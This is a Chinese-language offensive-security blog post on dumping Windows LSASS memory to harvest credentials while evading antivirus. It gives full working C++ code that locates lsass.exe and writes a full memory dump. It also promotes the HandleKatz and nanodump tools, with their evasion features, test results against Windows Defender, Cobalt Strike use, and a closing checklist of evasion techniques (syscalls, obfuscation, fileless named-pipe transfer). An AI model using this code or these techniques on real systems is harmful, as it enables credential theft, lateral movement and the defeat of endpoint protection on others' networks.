繞過殺軟dump-Lsass內存
前言
dump lsass 進程是我們永遠都逃不過話題,除非微軟那天不用它保存憑據了,自然而然就不dump 它了,抓密碼是滲透重要的環節,是橫向擴展的基礎,接下來講講見到如何繞過殺軟dump lsass內存。
1.Procdump
老牌工具,這玩意,現在也不咋行了,雖然數字簽名,但是人家殺軟也不傻,雖然不敢殺你,刪你文件,但是攔截你行為,是可以的

測試為windows denfender,不殺但是會攔。
這工具好像是調用MiniDumpWriteDump api來dump內存的,自己都可以用c++實現個
#include "stdafx.h"#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L""; if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+]---Got lsass.exe PID: " << lsassPID << endl; } lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL); if (isDumped) { cout << "[+]---lsass dumped successfully!" << endl; } return 0;}
會調用dbghelp.dll 文件,所以需要給依賴
2.HandleKatz
github:https://github.com/codewhitesec/HandleKatz
這是Brucon2021會議提到的使用Lsass的克隆句來創建相同的混淆內存轉儲的一個實現,繞過windows defender dump lsass內存,但是現在應該不行了,但是國內的還是隨便過的。
這個項目的特點是:
- 使用的是克隆lsass具柄,所以在 Lsass 上無法觀察到 ProcessAccess事件。
- 系統調用將混淆轉儲寫入磁盤
- 直接把功能轉換成shellcode,拿來就能用
我覺得不好的地方就是他的加載器還是逃不過分配內存的短板,這個點我們可以改改,而且很容易改,比如不分配內存,直接放在.text段,就看大家怎么玩了

其實可以看看項目源碼,特別有趣!!!,直接把實現dump lsass內存的shellcode進行bash64編碼放在頭文件的

現在作者學精了,把自己那段提取出來的shellcode base64給刪了,之前這里都還有的,只有自己去提取了。
我最喜歡的亮點就是直接把核心的那段轉換成shellcode,然后保存在程序的.text,然后通過函數的回調的方式執行并傳遞參數,精彩!!!!!
測試:

這是我虛擬機測試結果,居然成了,不可能,windows denfender 肯定是壞了!因為我很早就測過,dump不下來,進程被守護了,直接上真實物理機殺軟,一直在更新。

物理數字殺軟就沒反應了,我就說嘛,咋今天又行了,隨便把今天重點講的項目nanodump給測了,結果是無壓力過了,順利dump出lsass內存
可以看到HandleKatz現在克隆句柄的操作都不行了,我記得之前還可以克隆具柄來著,但是dump lsass內存dump不下來,應該是被守護進程保護了,繞不過。
3.nanodump
這也是github上面的項目,很熱乎,剛提交不交,被我無意間發現了,這就是個寶藏。
github 項目https://github.com/helpsystems/nanodump
這個項目的特點:
- 使用系統調用(使用SysWhispers2)進行大多數操作
- 可以選擇在不接觸磁盤的情況下下載轉儲或將其寫入文件
- 默認情況下,小型轉儲具有無效簽名以避免檢測
- 通過忽略不相關的 DLL 來減小轉儲的大小,轉儲的大小往往在 10 MB 左右
- 不需要提供 LSASS 的 PID(默認是不提供的)
- 不調用dbghelp或任何其他庫,所有轉儲邏輯都在 nanodump 中實現
- 可以使用 .exe 版本在 Cobalt Strike 之外運行nanodumpz
值得一提的是,這個項目能過windows defender 進行dump lsass內存,且只把相關的內容給dump下來,非常的香!!!支持cs腳本使用,且是通過命名管道傳輸,不接觸磁盤。
值得注意的是:
文件小是因為忽略lsass中的大部分內容并僅保留與 mimikatz 相關的那些,例如 kerberos.dll 和 wdigest.dll
編譯就不說了,一個命令搞定,不能就兩個。
本地測試:

cs上面測試,當然你首先得對抗windows denfender 上線:

用自帶的腳本解密:

讀取dmp文件

總結
在攻防對抗中,殺軟在不斷學習進步,彌補自身的短板缺點,免殺技術在不斷的更新,也是不斷的為殺軟提供規則庫,免殺越來越艱難,是我們變弱了嗎?我覺得是殺軟變強了,每天都吸收了成百上千的樣本的特征,規則在不斷完善,檢測體系在不斷的完善。
可以看到在dump lsass內存的手法上免殺成功總結大概幾點:
- 系統調用實現大部分功能
- 混淆內容
- 使用命名管道傳輸結果,實現無文件
- 不再調用dbghelp庫文件
- 小型轉儲,無明顯特征
熱愛免殺,熱愛對抗。